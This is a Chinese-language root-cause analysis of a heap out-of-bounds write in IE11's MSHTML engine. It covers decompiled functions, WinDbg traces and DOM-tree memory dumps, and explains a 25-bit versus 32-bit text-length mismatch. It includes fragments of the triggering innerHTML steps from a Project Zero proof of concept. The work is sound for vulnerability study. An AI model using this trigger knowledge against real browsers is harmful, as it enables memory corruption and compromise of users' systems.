Tree::TreeWriter::AllocData1Pos()函数为指针数据类的CTreeDataPos对象分配内存,并初始化。IE8中此函数为CMarkup::AllocData1Pos()。
CTreeDataPos *__stdcall Tree::TreeWriter::AllocData1Pos()
{
CTreeDataPos *pTreeDataPos; // eax
ULONG Flags; // ecx
// private: static class CTreePos * __stdcall Tree::TreeWriter::AllocData1Pos(void)
pTreeDataPos = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x28u);
if ( pTreeDataPos )
{
Flags = pTreeDataPos->_ulRefs_Flags & 0x37; // 清除0x8,Flag
pTreeDataPos->pSmartObject = 0;
pTreeDataPos->_pTextData = 0;
pTreeDataPos->_cElemLeftAndFlags |= 0x80u; // 设置TPF_DATA_POS = 0x80
pTreeDataPos->_ulRefs_Flags = Flags | 0x40; // 增加引用计数,低6位为Flags
pTreeDataPos->_pNext = 0;
}
return pTreeDataPos;
}
Tree::TreeWriter::AllocData2Pos()函数为文本数据类的CTreeDataPos对象分配内存,并初始化。IE8中此函数为CMarkup::AllocData2Pos()。
CTreeDataPos *__stdcall Tree::TreeWriter::AllocData2Pos()
{
CTreeDataPos *pTreeDataPos; // eax
ULONG Flags; // ecx
// private: static class CTreePos * __stdcall Tree::TreeWriter::AllocData2Pos(void)
pTreeDataPos = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x2Cu);
if ( pTreeDataPos )
{
Flags = pTreeDataPos->_ulRefs_Flags;
pTreeDataPos->pSmartObject = 0;
pTreeDataPos->_pTextData = 0;
pTreeDataPos->_cElemLeftAndFlags |= 0xC0u; // 设置TPF_DATA_POS = 0x80,TPF_DATA2_POS = 0x40
pTreeDataPos->_ulRefs_Flags = Flags & 0x37 | 0x40;// 清除0x8,Flag,增加引用计数,低6位为Flags
}
return pTreeDataPos;
}
IE11的CTreeDataPos拥有一个新的成员_pTextData，IE8及以前是没有的。以前文本数据是存在CTxtArray类中的，并通过CTxtPtr类对其进行访问。在IE11中并没有废除以前的方式，而是添加了一种新的用于存储文本数据的方式，即Tree::TextData类。
CTreeDataPos::SetTextData()函数用于设置CTreeDataPos对象中_pTextData成员存储的Tree::TextData类对象指针。
void __thiscall CTreeDataPos::SetTextData(CTreeDataPos *this, Tree::TextData *pNewTextData)
{
Tree::TextData *pOldTextData; // edx
// public: void __thiscall CTreeDataPos::SetTextData(class Tree::TextData *)
// 功能：设置CTreeDataPos中与其相关联的Tree::TextData数据块指针
++pNewTextData->_ulRefs;
pOldTextData = this->_pTextData;
if ( pOldTextData )
{
if ( pOldTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pOldTextData);
}
this->_pTextData = pNewTextData;
}
CTreeDataPos::GetTextLength()函数可以从两种存储文本字符串的结构CTxtArray和Tree::TextData中获取到文本字符串的长度。此漏洞的根本原因就在于CTreeDataPos类中DATAPOSTEXT结构体的_cch成员(25bit)与Tree::TextData类中_cch成员(32bit)的大小不同，而在使用时进行混用，从而导致了堆块的越界写。具体原因，见后面漏洞的根本原因分析。
LONG __thiscall CTreeDataPos::GetTextLength(CTreeDataPos *this)
{
Tree::TextData *pTextData; // eax
LONG TextLength; // eax
// public: unsigned long __thiscall CTreeDataPos::GetTextLength(void)const
pTextData = this->_pTextData;
if ( pTextData )
TextLength = pTextData->_cch;
else
TextLength = CTreePos::ContentCch(this);
return TextLength;
}
LONG __thiscall CTreePos::ContentCch(CTreeDataPos *this)
{
LONG Cch; // eax
// public: long __thiscall CTreePos::ContentCch(void)const
// Pointer=0x8
if ( (this->_cElemLeftAndFlags & 8) != 0 && CTreePos::HasCollapsedWhitespace(this) )
Cch = 1;
else
// Text = 0x4
Cch = this->dptp.t._sid_cch & 0x1FFFFFF; // 关键位置
return Cch;
}
CTreeDataPos::AppendText()用于在原来的字符串后面附加新的字符串。
HRESULT __thiscall CTreeDataPos::AppendText(CTreeDataPos *this, const wchar_t *AppendTextPtr, ULONG AppendTextCch, BOOL a1)
{
HRESULT hr; // edi
wchar_t *TargetTextPtr; // eax
ULONG TargetTextCch; // [esp+Ch] [ebp-8h] BYREF
Tree::TextData *pTextData; // [esp+10h] [ebp-4h] MAPDST BYREF
// public: long __thiscall CTreeDataPos::AppendText(unsigned short const *,unsigned long,bool)
hr = 0;
// 获取源文本数据块数据
TargetTextPtr = Tree::TextData::GetText(this->_pTextData, 0, &TargetTextCch);
pTextData = 0;
// 创建新的文本数据块
Tree::TextData::Create(TargetTextPtr, TargetTextCch, AppendTextPtr, AppendTextCch, &pTextData);
if ( pTextData )
// 重新设置CTreeDataPos中与其相关联的Tree::TextData数据块指针
CTreeDataPos::SetTextData(this, pTextData);
else
hr = 0x8007000E; // E_OUTOFMEMORY = 0x8007000E
if ( pTextData )
{
if ( pTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pTextData);
}
return hr;
}
##### 6.1.4.1 Tree::TextData
下面是我经过逆向得出的IE11中Tree::TextData类对象的完整成员。
//Tree::TextData对象结构(大小为_cch*2+8，Tree::TextData::AllocateMemory())
+0x000 ULONG _ulRefs，//引用计数，CTreeDataPos::SetTextData()
+0x004 LONG _cch，//文本数据的字符数，Tree::TextData::AllocateMemory()
+0x008 wchar_t _TextData[_cch]，//Tree::TextData::AllocateMemory()
Tree::TextData::AllocateMemory()函数用于为Tree::TextData对象分配内存。
void __fastcall Tree::TextData::AllocateMemory(LONG cch, Tree::TextData **ppTextData)
{
Tree::TextData *pNewTextData; // eax
Tree::TextData *pOldTextData; // edx
// private: static void __stdcall Tree::TextData::AllocateMemory(long,class SP<class Tree::TextData> &)
// 功能：为文本数据块分配内存
pNewTextData = MemoryProtection::HeapAlloc<0>(g_hProcessHeap, 2 * cch + 8);
if ( pNewTextData )
{
pNewTextData->_cch = cch;
pNewTextData->_ulRefs = 1;
}
pOldTextData = *ppTextData;
*ppTextData = pNewTextData;
if ( pOldTextData )
{
if ( pOldTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pOldTextData);
}
}
Tree::TextData::Create()函数用于根据传入的参数字符串创建一个Tree::TextData对象，并将字符串复制到Tree::TextData对象的空间，然后返回Tree::TextData对象的指针。
void __fastcall Tree::TextData::Create(const wchar_t *SourceTextPtr, ULONG SourceTextCch, Tree::TextData **ppTextData)
{
// public: static void __stdcall Tree::TextData::Create(unsigned short const *,unsigned long,class SP<class Tree::TextData> &)
// 功能：为源文本数据块创建一个副本
Tree::TextData::AllocateMemory(SourceTextCch, ppTextData);
if ( *ppTextData )
_memcpy_s((*ppTextData)->_TextData, 2 * SourceTextCch, SourceTextPtr, 2 * SourceTextCch);
}
下面函数是上面函数的重载。能够添加额外的字符串。
void __fastcall Tree::TextData::Create(const wchar_t *SourceTextPtr, ULONG SourceTextCch, const wchar_t *AdditionalTextPtr, ULONG AdditionalTextCch, Tree::TextData **ppTextData)
{
// public: static void __stdcall Tree::TextData::Create(unsigned short const *,unsigned long,unsigned short const *,unsigned long,class SP<class Tree::TextData> &)
// 功能：创建一个文本数据块,可添加新的文本数据
Tree::TextData::AllocateMemory(SourceTextCch + AdditionalTextCch, ppTextData);
if ( *ppTextData )
{
// 将源文本数据块中的数据复制到新的文本数据块中
_memcpy_s((*ppTextData)->_TextData, 2 * SourceTextCch, SourceTextPtr, 2 * SourceTextCch);
if ( AdditionalTextPtr )
// 创建新文本数据块时，需要添加额外的文本数据，则将其复制到新文本数据块中源文本数据的后面
_memcpy_s(
&(*ppTextData)->_TextData[SourceTextCch],
2 * AdditionalTextCch,
AdditionalTextPtr,
2 * AdditionalTextCch);
}
}
Tree::TextData::GetText()函数用于从Tree::TextData对象获取到文本字符串的指针和长度。
wchar_t *__thiscall Tree::TextData::GetText(Tree::TextData *this, ULONG skip_cch, ULONG *GetedCch)
{
// public: unsigned short * __thiscall Tree::TextData::GetText(unsigned long,unsigned long *)const
// 功能：获取指定字符数量之后的文本字符串的指针
if ( GetedCch )
*GetedCch = this->_cch - skip_cch;
return &this->_TextData[skip_cch];
}
##### 6.1.4.2 CTxtPtr
CTxtPtr继承于CRunPtr。提供对后备存储区中字符数组的访问(即CTxtArray)。
//CTxtPtr类对象结构(0x14，CSpliceTreeEngine::RecordSplice()->CTxtPtr::BindToCp())
+0x000 CTxtArray* _prgRun， // CTxtArray指针
+0x004 LONG _iRun， // 指示CTxtArray中某一元素的索引
+0x008 LONG _ich， // 指示CTxtArray中某一元素的内容中的字符索引
+0x00C DWORD _cp， // 字符在文本流中的位置
+0x010 CMarkup *_pMarkup， // 指向整个文本编辑类的指针
CSpliceTreeEngine::RecordSplice()函数是CSpliceTreeEngine引擎用于记录DOM树的拼接的函数。
HRESULT __thiscall CSpliceTreeEngine::RecordSplice(CSpliceTreeEngine *this)
{
_this = this;
hr1 = 0;
pMarkupSource = this->_pMarkupSource;
__this = this;
if ( *(pMarkupSource + 135) < 90000 || (byte_646F1B3E & 0x10) != 0 )
{
v65 = 1;
pTxtPtr = MemoryProtection::HeapAlloc<1>(g_hProcessHeap, 0x14u);
if ( pTxtPtr )
{
tpSourceLCp = CTreePos::GetCpAndMarkup(_this->_ptpSourceL, 0, 0);
_pMarkupSource = _this->_pMarkupSource;
pTxtPtr->_pMarkup = _pMarkupSource;
pTxtPtr->_iRun = 0;
pTxtPtr->_ich = 0;
pTxtPtr->_cp = 0;
pTxtPtr->_prgRun = (_pMarkupSource + 112);
pTxtPtr->_cp = CTxtPtr::BindToCp(pTxtPtr, tpSourceLCp);
}
else
{
pTxtPtr = 0;
}
pMarkupSource = _this->_pMarkupSource;
}
...
}
### 6.2 漏洞PoC所对应的DOM树
这里调试时用的PoC是Google Project Zero的Ivan Fratric提供的PoC，未经修改。
重新调试，附加IE进程，在初始断点断下后，设置以下两个断点。
;bp MSHTML!CSpliceTreeEngine::RemoveSplice,CSpliceTreeEngine::RemoveSplice()函数起始地址
.text:63A46320 ; HRESULT __thiscall CSpliceTreeEngine::RemoveSplice(CSpliceTreeEngine *this)
.text:63A46320 ?RemoveSplice@CSpliceTreeEngine@@QAEJXZ proc near
.text:63A46320 mov edi, edi
.text:63A46322 push ebp
.text:63A46323 mov ebp, esp
.text:63A46325 and esp, 0FFFFFFF8h
.text:63A46328 sub esp, 240h
.text:63A4632E mov eax, ___security_cookie
.text:63A46333 xor eax, esp
.text:63A46335 mov [esp+240h+var_4], eax
;bp 63A46783,Crash附近第一次调用CTreePos::GetCp()
.text:63A46783 mov ecx, [esi+14h] ; this
.text:63A46786 call ?GetCp@CTreePos@@QAEJXZ ; CTreePos::GetCp(void)
.text:63A4678B mov ecx, [esi+18h] ; this
.text:63A4678E mov edi, 1
.text:63A46793 sub edi, eax
.text:63A46795 call ?GetCp@CTreePos@@QAEJXZ ; CTreePos::GetCp(void)
.text:63A4679A mov ecx, [esi+18h] ; this
.text:63A4679D lea edx, [edi+eax]
以下内容是WinDbg调试输出的结果：
(1940.12fc): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3 ;初始断点
0:020> bp MSHTML!CSpliceTreeEngine::RemoveSplice
0:020> bp 63A46783
0:020> g
ModLoad: 00000000`73e10000 00000000`73e9e000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.864_none_58922fed78a9e6a7\COMCTL32.dll
ModLoad: 00000000`6f840000 00000000`6fa30000 C:\Windows\SysWOW64\uiautomationcore.dll
ModLoad: 00000000`70020000 00000000`70066000 C:\Windows\SysWOW64\Bcp47Langs.dll
ModLoad: 00000000`72e10000 00000000`72e2f000 C:\Windows\SysWOW64\WLDP.DLL
ModLoad: 00000000`771f0000 00000000`77235000 C:\Windows\SysWOW64\WINTRUST.dll
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ;第一次中断,b.innerHTML = Array(40370176).toString();
0:007:x86> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ;第二次中断,b.innerHTML = "";
0:007:x86> g
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:04f3ca1c=048a05ac
0:007:x86> r
eax=00000000 ebx=04f3cb38 ecx=04890a80 edx=00000000 esi=04f3ca08 edi=048a05ac
eip=63a46783 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:04f3ca1c=048a05ac ;ecx = 0x048a05ac,CTreePos *_ptpSourceL,<head>
0:007:x86> pr
eax=00000000 ebx=04f3cb38 ecx=048a05ac edx=00000000 esi=04f3ca08 edi=048a05ac
eip=63a46786 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x466:
63a46786 e8dc118900 call MSHTML!CTreePos::GetCp (642d7967) ;eax = 0x00000002,<head>在DOM流中的位置
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=00000000 edx=0483d534 esi=04f3ca08 edi=048a05ac
eip=63a4678b esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46b:
63a4678b 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:04f3ca20=048a0624 ;ecx = 0x048a0624,CTreePos *_ptpSourceR,</body>
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=048a05ac
eip=63a4678e esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46e:
63a4678e bf01000000 mov edi,1
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=00000001
eip=63a46793 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x473:
63a46793 2bf8 sub edi,eax
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=ffffffff
eip=63a46795 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
MSHTML!CSpliceTreeEngine::RemoveSplice+0x475:
63a46795 e8cd118900 call MSHTML!CTreePos::GetCp (642d7967) ;eax = 0x00680004,</body>在DOM流中的位置
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=00000000 edx=048a0624 esi=04f3ca08 edi=ffffffff
eip=63a4679a esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47a:
63a4679a 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:04f3ca20=048a0624 ;
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=048a0624 edx=048a0624 esi=04f3ca08 edi=ffffffff
eip=63a4679d esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47d:
63a4679d 8d1407 lea edx,[edi+eax] ;edx = edi+eax = 0x1-0x2+0x00680004 = 0x00680003
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=048a0624 edx=00680003 esi=04f3ca08 edi=ffffffff
eip=63a467a0 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x480:
63a467a0 f60104 test byte ptr [ecx],4 ds:002b:048a0624=72
我们通过漏洞Crash附近两次调用CTreePos::GetCp()时，传入的参数_ptpSourceL和_ptpSourceR，再结合CTreePos中的_pLeft和_pRight，形成的DOM流双链表结构，以及CTreeNode中_tpBegin和_tpEnd相对于CTreeNode对象起始地址的偏移关系，可以获取到DOM流中所有的元素内容。
以下是ROOT标签的CTreeNode、起始标签和结束标签对应的CTreePos的对象内存数据：
CTreeNode
dd 048a0240
048a0240 04890a80 00000000 7002005f 00000051
048a0250 00000000 00000000 048a05ac 00000000
048a0260 048a02ac 00000062 00000000 00000000
048a0270 048a02c4 048a02c4 00000000 00010004
0x5f = 95,ETAG_ROOT = 95
<ROOT>
CTreePos * = 048a024c
dd 048a024c
048a024c 00000051 00000000 00000000 048a05ac
048a025c 00000000 048a02ac
_cElemLeftAndFlags = 00000051
ElemLeft = 0x0
Flags = 0x51 = 0101 0001,NodeBeg=0x1,TPF_LEFT_CHILD=0x10,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a05ac,<head>
_pLeft = 00000000
_pRight = 048a02ac,<html>
</ROOT>
CTreePos * = 048a0264
dd 048a0264
048a0264 00000062 00000000 00000000 048a02c4
048a0274 048a02c4 00000000
_cElemLeftAndFlags = 00000062
ElemLeft = 0x0
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a02c4,</html>
_pLeft = 048a02c4,</html>
_pRight = 00000000
以下是html标签的CTreeNode、起始标签和结束标签对应的CTreePos的对象内存数据：
CTreeNode
dd 048a02a0
048a02a0 04890a40 048a0240 7022003a 00000271
048a02b0 00000001 048a024c 0483d534 048a024c
048a02c0 04896c00 00000262 00680002 04896c60
048a02d0 048a05ac 04896c60 048a0264 00030005
0x3a = 58,ETAG_HTML = 58
<html>
CTreePos * = 048a02ac
dd 048a02ac
048a02ac 00000271 00000001 048a024c 0483d534
048a02bc 048a024c 04896c00
_cElemLeftAndFlags = 00000271
ElemLeft = 0x2
Flags = 0x71 = 0111 0001,NodeBeg=0x1,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000001
_pFirstChild = 048a024c,<ROOT>
_pNext = 0483d534,
_pLeft = 048a024c,<ROOT>
_pRight = 04896c00,Pointer
</html>
CTreePos * = 048a02c4
dd 048a02c4
048a02c4 00000262 00680002 04896c60 048a05ac
048a02d4 04896c60 048a0264
_cElemLeftAndFlags = 00000262
ElemLeft = 0x2
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00680002
_pFirstChild = 04896c60,Pointer
_pNext = 048a05ac,<head>
_pLeft = 04896c60,Pointer
_pRight = 048a0264,</ROOT>
以下是head标签的CTreeNode、起始标签和结束标签对应的CTreePos的对象内存数据：
CTreeNode
dd 048a05a0
048a05a0 04890b80 048a02a0 70020036 00000061
048a05b0 00000000 04896c30 048a02ac 04896c30
048a05c0 048a05c4 00000052 00000000 048a060c
048a05d0 048a0624 048a05ac 048a060c ffffffff
0x36 = 54,ETAG_HEAD = 54
<head>
CTreePos *_ptpSourceL = 048a05ac
dd 048a05ac
048a05ac 00000061 00000000 04896c30 048a02ac
048a05bc 04896c30 048a05c4
_cElemLeftAndFlags = 00000061
ElemLeft = 0x0
Flags = 0x61 = 0110 0001,NodeBeg=0x1,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 04896c30,Pointer
_pNext = 048a02ac,<html>
_pLeft = 04896c30,Pointer
_pRight = 048a05c4,</head>
</head>
CTreePos * = 048a05c4
dd 048a05c4
048a05c4 00000052 00000000 048a060c 048a0624
048a05d4 048a05ac 048a060c
_cElemLeftAndFlags = 00000052
ElemLeft = 0x0
Flags = 0x52 = 0101 0010,NodeEnd=0x2,TPF_LEFT_CHILD=0x10,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 048a060c,<body>
_pNext = 048a0624,</body>
_pLeft = 048a05ac,<head>
_pRight = 048a060c,<body>
以下是body标签的CTreeNode、起始标签和结束标签对应的CTreePos的对象内存数据：
CTreeNode
dd 048a0600
048a0600 0489a3c0 048a02a0 70020012 00000061
048a0610 00000000 00000000 048a05c4 048a05c4
048a0620 04896ae0 00000062 00000000 00000000
048a0630 04896ae0 04896ae0 04896bd0 ffffffff
0x12 = 18,ETAG_BODY = 18
<body>
CTreePos * = 048a060c
dd 048a060c
048a060c 00000061 00000000 00000000 048a05c4
048a061c 048a05c4 04896ae0
_cElemLeftAndFlags = 00000061
ElemLeft = 0x0
Flags = 0x61 = 0110 0001,NodeBeg=0x1,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a05c4,</head>
_pLeft = 048a05c4,</head>
_pRight = 04896ae0,Text
</body>
CTreePos *_ptpSourceR = 048a0624
dd 048a0624
048a0624 00000062 00000000 00000000 04896ae0
048a0634 04896ae0 04896bd0
_cElemLeftAndFlags = 00000062
ElemLeft = 0x0
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 04896ae0,Text
_pLeft = 04896ae0,Text
_pRight = 04896bd0,Pointer
以下是DOM流中除了标签结点以外，链入的CTreeDataPos(Text)和CTreeDataPos(Pointer)对象的内存数据：
Pointer
CTreeDataPos * = 04896c30
dd 04896c30
04896c30 00000098 00000000 04896c00 048a02c4
04896c40 04896c00 048a05ac 00000080 00000000
04896c50 00000000 00000000 00000000
_cElemLeftAndFlags = 00000098
ElemLeft = 0x0
Flags = 0x98 = 1001 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_DATA_POS=0x80
_cchLeft = 00000000
_pFirstChild = 04896c00,Pointer
_pNext = 048a02c4,</html>
_pLeft = 04896c00,Pointer
_pRight = 048a05ac,<head>
_ulRefs_Flags = 00000080
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 00000000
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896c60
dd 04896c60
04896c60 00000298 00680002 04896bd0 048a0264
04896c70 04896bd0 048a02c4 00000080 00000000
04896c80 00000000 00000001 00000000
_cElemLeftAndFlags = 00000298
ElemLeft = 0x2
Flags = 0x98 = 1001 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_DATA_POS=0x80
_cchLeft = 00680002
_pFirstChild = 04896bd0,Pointer
_pNext = 048a0264,</ROOT>
_pLeft = 04896bd0,Pointer
_pRight = 048a02c4,</html>
_ulRefs_Flags = 00000080
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 00000001
---------------------------------------------------------------------------------------------------------------
Text
CTreeDataPos * = 04896ae0
dd 04896ae0
04896ae0 000002f4 00000002 048a05c4 04896bd0
04896af0 048a060c 048a0624 00000041 00000000
04896b00 1cf14020 8267ffff 00000000
_cElemLeftAndFlags = 000002f4
ElemLeft = 0x2
Flags = 0xf4 = 1111 0100,Text=0x4,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA2_POS=0x40,TPF_DATA_POS=0x80
_cchLeft = 00000002
_pFirstChild = 048a05c4,</head>
_pNext = 04896bd0,Pointer
_pLeft = 048a060c,<body>
_pRight = 048a0624,</body>
_ulRefs_Flags = 00000041
pSmartObject = 00000000
_pTextData = 1cf14020,Tree::TextData
_sid_cch = 8267ffff
_cch = 0x8267ffff & 0x1ffffff = 0x67ffff
_sid = 0x8267ffff >> 25 = 0x41 = 0100 0001
_lTextID = 00000000
!heap -x 1cf14020
Entry User Heap Segment Size PrevSize Unused Flags
----------------------------------------------------------------------------- 000000001cf14018 000000001cf14020 0000000000730000 0000000000730000 4d01000 0 ffa busy extra virtual
dd 1cf14020
1cf14020 00000002 0267ffff 002c002c 002c002c
1cf14030 002c002c 002c002c 002c002c 002c002c
1cf14040 002c002c 002c002c 002c002c 002c002c
1cf14050 002c002c 002c002c 002c002c 002c002c
1cf14060 002c002c 002c002c 002c002c 002c002c
1cf14070 002c002c 002c002c 002c002c 002c002c
1cf14080 002c002c 002c002c 002c002c 002c002c
1cf14090 002c002c 002c002c 002c002c 002c002c
...
dd 1cf14020+0x2680000*2-0x10
21c14010 002c002c 002c002c 002c002c 002c002c
21c14020 002c002c 0000002c 00000000 00000000
_ulRefs = 0x2
_cch = 0x0267ffff = 40370175
_TextData = 2c 00 2c 00 ...
0x21c14026 - 0x1cf14028 = 0x4CFFFFE
0x4CFFFFE/2 = 0x267FFFF = 40370175
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896c00
dd 04896c00
04896c00 000000b8 00000000 00000000 04896c30
04896c10 048a02ac 04896c30 00000040 00000000
04896c20 00000000 04f3ce28 00000000
_cElemLeftAndFlags = 000000b8
ElemLeft = 0x0
Flags = 0xb8 = 1011 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA_POS=0x80
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 04896c30,Pointer
_pLeft = 048a02ac,<html>
_pRight = 04896c30,Pointer
_ulRefs_Flags = 00000040
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 04f3ce28
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896bd0
dd 04896bd0
04896bd0 000002b8 00680002 04896ae0 04896c60
04896be0 048a0624 04896c60 00000040 00000000
04896bf0 00000000 04f3ce70 00000000
_cElemLeftAndFlags = 000002b8
ElemLeft = 0x2
Flags = 0xb8 = 1011 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA_POS=0x80
_cchLeft = 00680002
_pFirstChild = 04896ae0,Text
_pNext = 04896c60,Pointer
_pLeft = 048a0624,</body>
_pRight = 04896c60,Pointer
_ulRefs_Flags = 00000040
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 04f3ce70
我根据CTreePos中的_pFirstChild和_pNext成员，可以还原出此漏洞PoC所对应的DOM树结构如下图所示：
我根据CTreePos中的_pLeft和_pRight成员，可以还原出此漏洞PoC所对应的DOM流结构如下图所示：
### 6.3 漏洞产生的根本原因分析
以下是动态调试过程中，关键部分的WinDbg输出内容：
(638.e60): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3
0:020> bp MSHTML!CSpliceTreeEngine::RemoveSplice
0:020> bp 63A46783 ; Crash前调用的第一个CTreePos::GetCp()
0:020> bp 63A467B5 ; 分配存储要删除的元素的堆块,operator new[]()
0:020> bp 63A468CF ; 获取文本的未截断长度，Tree::TextData::GetText()
0:020> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ; 第一次中断,b.innerHTML = Array(40370176).toString();
0:008:x86> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ; 第二次中断,b.innerHTML = "";
0:008:x86> g
Breakpoint 1 hit
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:0508ca1c=04aae54c
0:008:x86> p
eax=00000000 ebx=0508cb38 ecx=04aae54c edx=00000000 esi=0508ca08 edi=04aae54c
eip=63a46786 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x466:
63a46786 e8dc118900 call MSHTML!CTreePos::GetCp (642d7967) ; 返回值为0x2,<ROOT>和<html>标签对应的字符数
0:008:x86> dd ecx-0xc l10 ; CTreeNode,_ptpSourceL(<head>),0x04aae548 = 0x36 = 54,ETAG_HEAD = 54
04aae540 04a82d40 04aae240 70020036 00000061
04aae550 00000000 04a84b40 04aae24c 04a84b40
04aae560 04aae564 00000052 00000000 04aae5ac
04aae570 04aae5c4 04aae54c 04aae5ac ffffffff
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=00000000 edx=04a3d534 esi=0508ca08 edi=04aae54c
eip=63a4678b esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46b:
63a4678b 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:0508ca20=04aae5c4
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=04aae54c
eip=63a4678e esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46e:
63a4678e bf01000000 mov edi,1
0:008:x86> dd ecx-0x24 l10 ; CTreeNode,_ptpSourceL(</body>),0x04aae5a8 = 0x12 = 18,ETAG_BODY = 18
04aae5a0 04a86320 04aae240 70020012 00000061
